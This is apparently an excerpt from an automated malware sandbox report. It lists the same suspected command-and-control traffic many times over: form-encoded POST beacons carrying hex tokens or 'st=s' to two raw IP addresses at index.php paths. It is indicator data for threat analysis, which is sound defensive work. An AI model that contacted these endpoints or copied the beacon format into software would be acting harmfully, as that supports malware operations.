Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
